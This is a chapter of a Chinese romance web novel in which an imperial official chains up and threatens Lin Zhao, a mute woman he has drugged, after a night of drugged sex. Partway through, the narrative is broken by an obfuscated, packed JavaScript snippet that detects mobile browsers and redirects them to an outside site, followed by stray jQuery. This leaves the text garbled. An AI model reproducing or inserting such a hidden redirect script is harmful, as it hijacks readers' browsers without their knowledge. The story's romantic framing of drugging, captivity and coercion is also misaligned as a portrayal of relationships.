11.第 11 章

作品:《哑凰

    话音刚落,马车帘子微动,里面窸窸窣窣的响声停了。


    林昭系衣裳带子的手逐渐缓慢,耳朵悄悄竖起来,凝神去听外面的对话。


    庄周梦?是他所中药物吗?


    昨晚裴狗官的表现神情实在不对劲,要不她也不会胆大包天的勾引他。绯红小脸上的热意许久不散,林昭努力回想不正常之处。


    一开始,裴珏反应迟钝并没有认出她,后面也像是中了药般失了控,横冲直撞。


    而挽青丝,她被绑去青楼的时候则听到过,这好像就是芳娘给她喂下的宫廷秘药。


    通过这个影卫所说之话可以想来,庄周梦实不寻常。可它与普通春药有何不同,值得裴珏痛下杀手,灭了一宫的人。


    真不愧是冷血无情又残暴的指挥使!


    林昭愤愤,下一刻,面前厚重的锦缎帘子就被人猛然拉开,露出裴珏冷漠的俊脸。


    他露出些似笑非笑的神情,线条流丽的眸子中却全无笑意,浸满寒冰。


    “林大娘子,听够了没有?”


    低沉的带着威压的声音环绕耳边,趴在车窗上的林昭只觉得耳朵像是猛然被人拽住,又热又肿。


    做坏事被抓包总是心虚的。


    她硬着头皮移开与裴珏的对视,若无其事的揉着自己的腿腕。


    这里昨夜被人牢牢握住不放,摆上肩头,在腕处留下极深的手指印。


    裴珏瞧着女子红的滴血的耳垂,鼓鼓的很是饱满,如同凤冠上鲜艳欲滴的鸽子血。


    让人忍不住想要伸手去捏。


    见林昭像遇见什么洪水猛兽似的,缩到马车最里面的角落,他颇有兴味的挑了挑剑眉,放下车帘。


    “影三影九,送她去城南的宅子。”


    后面的两个影卫领命应是,对视一眼,一个上前解开马绳,一个坐到车舆前准备赶车,很是迅速利落。


    但缩在里面的林昭听到这话,一骨碌爬了起来。她捞起宽袍大袖,急忙就要从马车上往下跳。


    可是成年男子的衣裳逶迤在地,猝不及防地纠缠住身体,让她不受控制的朝前面倒过去。


    林昭张大了嘴想喊,但也只发出模糊的一声“啊!”。发丝混杂着金丝银线,被猎风吹的糊了满脸,散发出若有似无的红梅香气。


    瘦弱娇软的身躯包裹在墨绿绸缎中,勾勒出不堪一握的细腰。


    裴珏眼神暗了下去,看着投怀送抱的女人,准备张开双臂去接。


    但林昭视线受阻并没有看见他的举动,只是双臂胡乱上下摆动,抓住一个什么硬硬的东西,靠着它稳稳站好。


    呼,还好还好,不用摔成狗啃泥了。


    下了一夜的雪,地面早已冰冷湿滑。裸露的纤纤玉足踩在脏污的雪上,仅有一层衣料隔开。


    但她顾不上脚底的痛楚,拨开头发发现,自己扶的原来是裴珏腰间长长的、泛着寒光的剑。


    剑的主人正用一副凌厉迫人的神情盯着她,看上去很不高兴。


    难道因为自己碰了他的剑,所以生气了吗。林昭抿唇,低头看着自己冻的有些红的皮肤,手指搅个不停。


    她感觉到裴珏灼热戏谑的眼神像锁住猎物般锁住她,喉咙间发出声意味不明的笑。


    修长而骨节分明的大手覆盖住林昭刚刚触碰到的剑身,青筋突显,格外摄人。


    “林娘子,这次又是什么把戏?”


    林昭怯生生的抬了眼,终于放开快被她绞烂了的缎子,打出一连串手语,闪的飞快。


    一边打,一边脸上浮现出可怜的样子来。


    【求你放了我爹我娘和竹月】


    一股脑儿打完了,才想起裴珏应该是看不懂的,需得用纸笔去写。


    还没等她拿树枝在地上比划,裴珏开了口:“本官没抓你回镇影司已是仁慈,林大娘子居然还妄想本官会放走陛下亲自下令要抓的犯人?”


    虽是诘难,但听起来十分心平气和,就连最后的语调都是平的。完全看不出来在床上的欲求不满。裴珏摩挲着剑柄,眼瞳却是幽深。


    林昭愣住了,眨了两下水润的桃花眼,压下心口的酸楚。


    她继续打手语:【我救了你一次,求求你放了他们吧】


    其实她知道裴珏作为皇帝鹰犬,唯命是从,是不可能放爹娘出来的。他说的是对,没有把她抓进镇影司,已经是看在昨夜的份上......


    可是,就算只有一点点的可能,她也不能放弃。就算用尊严来换,她也愿意。


    林昭见裴珏的眼神只是在她身上扫了一下,而后有些嘲弄的开口:“昨夜难道不是林娘子主动求上本官的吗?”


    “现在倒是翻脸不认了?”


    他朝着林昭走近几步,巨大的压迫感扑面而来,让林昭感觉呼吸都不顺畅,不自觉的往后退。


    冬日的阳光惨淡,聊胜于无,打在受冻之人的肩头,只能感觉到一丝暖意,挽救不了逐渐冰封的命运。


    男人穿戴整齐,衣冠楚楚,修长高大的身形包裹在玄色衣衫中,衬的五官深峻,神色淡漠,冷眼瞧着瑟瑟发抖的少女目露祈求。


    纵使他是在宫里被下的药,可林昭出现的时机太过巧合。裴珏狭长的狐狸眼微眯,带着审视。


    此女可不如她表现出来的这么单纯可欺。兔子急了也会咬人,更不用说背后还藏着秘密的兔子。


    林昭见裴珏迟迟不言语,脚下已站不住。荒唐了一夜,到现在她的双腿还是抖的,被掐出青紫的地方传来钝痛。


    果然,男人都是大猪蹄子。面前这个面如冠玉、一派君子端方的指挥使,谁会把他和昨夜肆意索取的男人联想到一起。


    “最好不要想着逃跑,乖一点。”裴珏放开剑柄,二话不说将林昭打横抱起,臂弯有力而温暖,贴在冻的有些僵直的身躯上。


    “说不定,你爹爹还能少受些苦。”这话轻飘飘的,让林昭心一点点沉下去,知道没了希望。


    她将头扭到一边,不愿意让人看见眼角泪珠。


    与此同时,她悄悄观察着前面等待的影卫,思量着半路逃出的可能性。


    既然裴珏不是直接将她送回镇影司,林昭稳下心神,那路上就还有机会。


    察觉到自己被放在马车垫子上,一个冰凉的物什触在小腿腕处。她低头看去,只见裴珏大手环住细腻洁白的脚腕,另一只手则拿着细细的金锁链。


    这锁通体泛着冷光,样式特别,极为精巧。长长的链子链接在马车壁深处,每隔半尺就有一处叮铃咣啷的小金铃铛,随着腿部的摆动发出声响。


    “咔哒”,那瞧着颤颤巍巍的细锁扣住,将人桎梏在马车的方寸之间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525450|168734||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    林昭瞪大了眼睛,飞速捉住裴珏的衣角不让他走,打出的手语又快又急:【你干什么!】


    一滴未干的泪珠还悬挂在粉腮边,可她现在完全感觉不到,只怒气冲冲的瞪着罪魁祸首。打了手语尤嫌不够,连嘴巴也咬着来显示自己愤怒的情绪。


    裴珏轻而易举将自己的衣角解救出来,挑起的唇角带着丝丝凉薄:“你该不会忘了自己还是江南一案的从犯吧?”


    这话堵的林昭“哑口无言”,气恼羞耻极了,紧紧抱住自己的双腿,背过身不愿意看见他。


    对呀,她怎么能忘了,自己在旁人眼里,还是个罪大恶极的囚犯。


    她太自作多情了。像裴珏这样的世家公子,什么女人没见过,说不准屋里小妾都纳了不知多少个。应对她这样的,也是手到擒来。


    阵阵说不清的烦闷涌上心头,林昭拽着细细的链子,有一搭没一搭的扯。


    他们只是各取所需,恰好都是解药罢了。一夜的露水情缘,算得了什么?


    裴珏轻笑,落在林昭耳朵里更是浓浓的嘲讽。怎么会有这么恶劣的人!


    将林昭的反应收入眼底,裴珏倒是心情颇好。看着她扯金锁链,淡淡的开了口:“本官给你喂的软筋散百金难求,是江湖里药效最好的十香软筋散。”


    林昭的动作停了,瘦削的后背微微侧过来。但依旧眼眸下垂,浓密似羽的睫毛掩盖住思绪。


    可等了有些功夫了,背后之人迟迟不出声。她摸不清裴珏突然又提起这个有什么头绪,转过身要问他,对上一双黑稠似墨的眼。


    眼的主人睨着她,嗓音温凉,语调慢悠悠:“往常的软筋散过了几日或几月便会消散失去药性,可本官特意为你准备的,只有服下天山雪莲才可解。”


    天山雪莲?林昭秀气的眉头蹙的紧紧的。她之前也不是没想过逃出去后自己配了药材去解,也想过这药性霸道怕是要花费好一番精力。可没想到是这么精贵的东西啊。


    皇宫里也怕没有几支,更不用说平常人家。


    但被封了脉络她实在要忍受不下去,现在的她就连破开锁链都费劲,何况要远去江南为爹伸冤?怕是在路上就折了。


    看着林昭一脸纠结,又是皱眉又是叹气,裴珏薄唇间流出无声的笑。


    逗弄小兔子,比他想象中的有趣。


    林昭愁了半天,越想越委屈,努力憋在眼眶中的泪再度冲刷而下。她转过身刚要恶狠狠的指责裴珏,就捕捉到他一闪而逝的笑。


    顿时明白过来,什么天山雪莲,全是裴珏满嘴胡吣的骗她!


    怎么能这么可恶!


    林昭起身,伸出狸奴似的利爪就要朝着裴珏扑过去。他倚靠在华贵的金丝楠木椅上,骨节分明的手指间是锁链小小的钥匙。


    “若不想回镇影司,就乖些。”


    带着残忍的冷漠嗓音让林昭停住,“镇影司”三个大字好像是封印她的宝塔,霎时没了动静。


    人在屋檐下不得不低头,更何况这不是屋檐是牢笼。


    见林昭泄了气默不作声将自己团起来,裴珏满意的下了马车。


    恢复成冷面罗刹的样子,转而骑上影九牵来的宝马。


    他吩咐影卫看好里面的人,就急速往六皇子府赶去,马蹄在地面激起尘土,很快没了影。